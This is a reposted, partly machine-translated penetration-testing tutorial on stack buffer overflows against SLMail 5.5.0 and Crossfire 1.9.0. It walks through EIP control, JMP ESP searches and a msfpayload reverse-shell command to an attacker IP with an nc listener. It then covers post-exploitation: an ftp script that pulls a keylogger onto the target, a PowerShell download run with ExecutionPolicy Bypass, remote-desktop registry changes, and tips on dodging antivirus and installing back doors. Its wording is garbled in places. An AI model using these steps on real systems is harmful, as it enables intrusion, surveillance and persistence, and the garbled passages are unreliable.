ホームページ  >  記事  >  システムチュートリアル  >  Linux ペネトレーション テスト チュートリアル: スタック オーバーフローの開始から終了までをステップごとに説明します

Linux ペネトレーション テスト チュートリアル: スタック オーバーフローの開始から終了までをステップごとに説明します

WBOY
WBOY転載
2024-02-02 09:36:02487ブラウズ

メモの内容は、Security Niu Classroom の Yuan Fanghong 教師による KaliLinux ペネトレーション テスト チュートリアルを参照しています。

すべての脆弱性の核心は、データの入力にあります。バッファ オーバーフローの原理は、データとコードの間の境界があいまいになることです。バッファ境界の制限が厳密でない場合、不正な形式のデータが渡されるため、バッファが損傷します。 「非常に暴力的」で、隣接するビデオメモリ領域のデータを覆い、ビデオメモリのデータを書き換えることに成功し、プロセスの誘拐、悪意のあるコードの実行、サーバー制御の獲得につながる可能性があります。

バッファ オーバーフローの原理をより深く理解するには、著者が転載した記事を参照してください:

スタック オーバーフローについて、開始から終了までを段階的に説明します (パート 1)

スタック オーバーフローについて、開始から終了までを段階的に説明します (パート 2)

記事ディレクトリ

1. 脆弱性の発見方法 (1) ソースコード監査

ソフトウェア開発者は、ソーシャル エンジニアリングやその他の方法を使用して、レビューやデバッグのためにソース コードを取得する場合があります。条件は厳しく、ソースコードは通常入手できません。

(2) リバースエンジニアリング(ReverseEngineering)

リバースエンジニアリングを利用して、解析用のアセンブリソースコードを取得する アセンブリコードの解析は作業量が多く、困難です。

linux防缓冲区溢出_缓冲区溢出代码例子_缓冲区溢出shellcode

(3) ファジング

は、ターゲット システムに予期しない入力を提供し、異常な結果を監視することによってソフトウェアの脆弱性を検出する方法です。一般に、これを完了するには、有効な入力とランダムな偏差が使用されます。これには、ソフトウェア デバッグ ツール (ImmunityDebugger など) の使用が必要です。 )。

2. ファズテストのプロセス

まず第一に、バッファ オーバーフローに対するセキュリティ保護テクノロジを理解する必要があります。この保護メカニズムはファズ テスト プロセス中に回避する必要があるためです。

(1)Windows

テスト ソフトウェアは「SLMail5.5.0MailServer」で、その PASS コマンドにはバッファ オーバーフローの脆弱性があります。基本的な考え方: (デバッグ ツールとして ImmunityDebugger を使用する)

1. Python スクリプトを使用して、大量のデータを受信したときに PASS コマンドがオーバーフローするかどうかをテストします。通常、3000 文字を超えてもオーバーフローがない場合は、オーバーフローの脆弱性がないことを意味します。

2. オーバーフロー脆弱性を発見したら、EIP に対応するアドレスを決定しますが、基本的な方法はバイナリ方式とユニークな文字列方式です。固有の文字列メソッドは、metasploit スクリプト usr/share/metasploit-framework/tools/pattern_create.rb3000 を使用して生成できます。

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

3. EIP をシェルコードに対応するビデオ メモリ アドレスに変更し、そのアドレス空間にシェルコードを書き込むと、プログラムは EIP レジスタ値を読み取り、シェルコード コード セグメントにジャンプして実行します。

4. デバッグ ツールを通じて、送信されたデータが EIP を埋めた後、ESP が指すスペースを埋めることがわかったので、ESP の場所にシェルコードを配置しました。

5. ESP アドレスからスタックの最下部 Linux アンチバッファ オーバーフロー までの距離、つまり格納できるシェルコードのサイズを決定します。 Python スクリプトを使用してテスト用にソフトウェアにデータを送信し、ソフトウェアをデバッグして、ESP が指すスペースにどれだけのデータが保存されているかを確認します。最新のコンピュータ システム プロセスのメモリ空間ビューを図に示します。

図 1 プロセス メモリ空間のビュー

6. ASLR メカニズムにより、関数呼び出しスタックのアドレスはソフトウェアを実行するたびにランダムに変化するため、ハードコーディングは現実的ではありません。代わりの方法は、ビデオ メモリ内で固定アドレスを持つシステム モジュールを見つけることです。モジュール内の JMPESP 命令のアドレス ジャンプを見つけます。その後、このコマンドは ESP に直接ジャンプし、シェルコードを実行します。mona.py スクリプトを使用してビデオ メモリ モジュールを特定します。「returnaddress」が指定されているモジュールを検索します。 JMPESP コマンドを使用して、DEP および ASLR メカニズムによって保護されていないシステム モジュールを検索します!monamodules. /usr/share/metasploit-framework/tools/nasm_shell.rb を使用して、アセンブリ命令 jmpesp を FFE4 の 2 の補数に変換し、検索しますmodule!monafind-s "xffxe4"-mslmfc.dll の FFE4 命令の場合。命令のアドレスを見つけたら、そのアドレスを EIPlinux バージョンの qq に入力し、シェルコードを構築し、不正な文字を削除します: /msfpayloadwin32_reverseLHOST= 192.168.20.8LPORT=443R|./msfencode-b"x00x0ax0d

注: シェルコードの構築時に選択されたペイロードは、バインドする直接接続ではなくリバース接続です。これにより、ファイアウォールのブロック戦略を回避できます。

7. 最後に、ポート盗聴 nc-vlp443 を有効にします。シェルコードが実行された後、ExitProcess メソッドを使用してプロセス全体を終了します。これにより、SMS サービスがクラッシュします。Slmail はスレッドベースのアプリケーションです。ExitThread メソッドの適用サービス全体のクラッシュを防ぎ、重複を実現できます。

注: さまざまな種類のプログラム、プロトコル、および脆弱性では、個々の文字が不正な文字であると見なされます。これらの文字には用途が決まっているため、不正な文字がリターン アドレス、シェルコード、またはバッファに現れることはありません。すべての不正な文字を見つけるには、0x00 ~ 0xff256 文字を送信します。不正な文字は、metasploit スクリプト ./msfencode を使用してエンコードできます。

8. 攻撃対象をさらに制御したい場合は、レジストリを変更してリモート デスクトップを開くことができます。Windows の設定の 90% 以上はレジストリを変更することで完了できます:

リーリー

(2)Linux

テスト ソフトウェアは「Crossfire」で、1.9.0 には受信ソケット接続を受け入れるときにバッファ オーバーフローの脆弱性があります。基本的な考え方は Windows Fuzzing と同じです (デバッグ ツールとして edb を使用します) ので詳細は説明しませんが、次の点に注意する必要があります。

1. デバッグ コマンド: edb--run/usr/games/crossfire/bin/crossfire

2. バッファ オーバーフローを検証したところ、ペイロードが 4368 バイトに固定されている場合にのみ、EIP の値を正確にカバーできることがわかり、このようにすると、ESP が指すスペースには 7 バイトしか残りません。 Shellcode を置くだけでは不十分なので、edb で検索したところ、データで完全にカバーできるレジスタが EAX を見つけたので、回避策として ESP が EAX にジャンプして Shellcode を実行します。

3. EXPの選択と変更

インターネット上には、長期間にわたって公開されているさまざまなソフトウェアの脆弱性に対するヘルプ コード (EXP) が存在します。信頼できる EXP ソースを選択し、これに基づいて調査や変更を行うことができます。特にシェルコードは簡単には使用できません。

linux anti-buffer Overflow

にはウイルスが含まれている可能性があります Linux システムを使用する場合、習得する必要があるプログラミング言語には、一般的に Python、C、C、Ruby などが含まれます。いくつかの信頼できる経験値ソース: EXP獲得後は以下の点に注意してください。

4.脆弱性発生後の段階

ツールのアップロード、権限の昇格、攻撃痕跡の消去、サイド ドアのインストールなどのさらなる操作が含まれます。ここではファイル アップロード操作のみについて説明します。ファイル アップロードは、トロイの木馬のプレインストールとサイド ドアのインストールの基礎となります。取得したターゲットのオペレーティング システムの情報に基づいて、シェルでファイルのアップロード操作を実行します。

(一)Windows

首先须要了解,用nc侦听端口取得的shell是非交互shell,这样在一些须要交互的环境操作受限,例如tab难以手动补全、一些参数难以交互输入等,所以须要上传其他的远控程序,如灰肉鸽。这儿主要讨论怎样上传这种远控程序:

1.Linux端:配置ftp服务

登陆FTP有三种形式:

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

<span class="token function">apt-get</span> <span class="token function">install</span> vsftpd <span class="token comment">#Linux中ftp服务有很多,这里使用vsftpd</span>
vim /etc/vsftpd/vsftpd.conf<span class="token comment">#配置vsftpd服务,这里采用系统用户登录的方式</span>
<span class="token comment">#添加配置</span>
local_root<span class="token operator">=</span>/home/ftpduser/ <span class="token comment">#系统用户登录后的主目录</span>
<span class="token comment">#可以设置用户独立配置文件保存目录:user_config_dir=/etc/vsftpd/ftpduser_config/ </span>
<span class="token comment">#对特定的用户ftpuser1可以单独进行配置,方法是在user_config_dir指定的目录下建立ftpuser1文件(和用户名相同的文件),然后在其中写上配置内容</span>
chroot_local_user<span class="token operator">=</span>YES <span class="token comment">#该值为YES时,所有用户只能限制在其主目录下访问</span>
chroot_list_enable<span class="token operator">=</span>NO<span class="token comment">#该值为YES时,其中的用户即为与chroot_list_file中相例外的用户;为NO时,没有例外的用户。</span>
chroot_list_file<span class="token operator">=</span>/etc/vsftpd.chroot_list
<span class="token comment">#如chroot_local_user=NO,chroot_list_enable=YES,此时所有用户都可以访问任何目录,而chroot_list_file中的用户只能访问其主目录</span>
userlist_deny<span class="token operator">=</span>NO <span class="token comment">#该值为YES时,/etc/vsftpd/user_list文件中指定的用户不能访问FTP服务器;值为NO时,则仅允许指定的用户访问FTP服务器</span>
userlist_enable<span class="token operator">=</span>YES<span class="token comment">#/etc/vsftpd/user_list文件有效</span>
<span class="token keyword">echo</span> ftpduser1 <span class="token operator">>></span> /etc/vsftpd/user_list<span class="token comment">#这个文件禁止或允许使用vsftpd的用户列表文件</span>
<span class="token comment">#!!注意user_list文件中的用户列表和ftpusers不同,ftpusers不受任何配制项的影响,它是一个黑名单,总是有效</span>
<span class="token function">mkdir</span> /home/ftpduser
<span class="token function">useradd</span> -d /home/ftpduser/ftpuser1 -s /sbin/nologin ftpduser1
<span class="token function">service</span> vsftpd start

2.Windows端:因为系统缺乏预装的下载工具,所以须要自行配置

(1)使用ftp传输文件

由于非交互shell未能登入ftp服务,所以编撰ftp配置脚本。

<span class="token function">echo</span> open 192<span class="token punctuation">.</span>168<span class="token punctuation">.</span>1<span class="token punctuation">.</span>2 21>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> ftpduser1>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> passw0rd>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> bin>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> GET whoami<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> GET klogger<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> bye>>ftp<span class="token punctuation">.</span>txt
ftp <span class="token operator">-</span>s:ftp<span class="token punctuation">.</span>txt

(2)使用powershell传输文件

<span class="token function">echo</span> <span class="token variable">$storageDir</span> = <span class="token variable">$pwd</span>
<span class="token variable">$webclient</span> = <span class="token function">New-Object</span> System<span class="token punctuation">.</span>Net<span class="token punctuation">.</span>WebClient
<span class="token variable">$url</span> = <span class="token string">"http://192.168.1.2/whoami.exe"</span>
<span class="token variable">$file</span> = <span class="token string">"new-exploit.exe"</span>
<span class="token variable">$webclient</span><span class="token punctuation">.</span>DownloadFile<span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">.</span><span class="token variable">$file</span><span class="token punctuation">)</span>
powershell<span class="token punctuation">.</span>exe <span class="token operator">-</span>ExecutionPolicy Bypass <span class="token operator">-</span>Nologo <span class="token operator">-</span>NonInteractive <span class="token operator">-</span>Noprofile <span class="token operator">-</span>File wget<span class="token punctuation">.</span>ps1

(二)Linux

借助netcat、curl、wget等系统自带的工具上传文件,比较容易实现,不再赘言。

注意:上传的文件要防止被目标系统杀毒软件去除,尽量使用合法的远程控制软件,如nc。

以上がLinux ペネトレーション テスト チュートリアル: スタック オーバーフローの開始から終了までをステップごとに説明しますの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はitcool.netで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。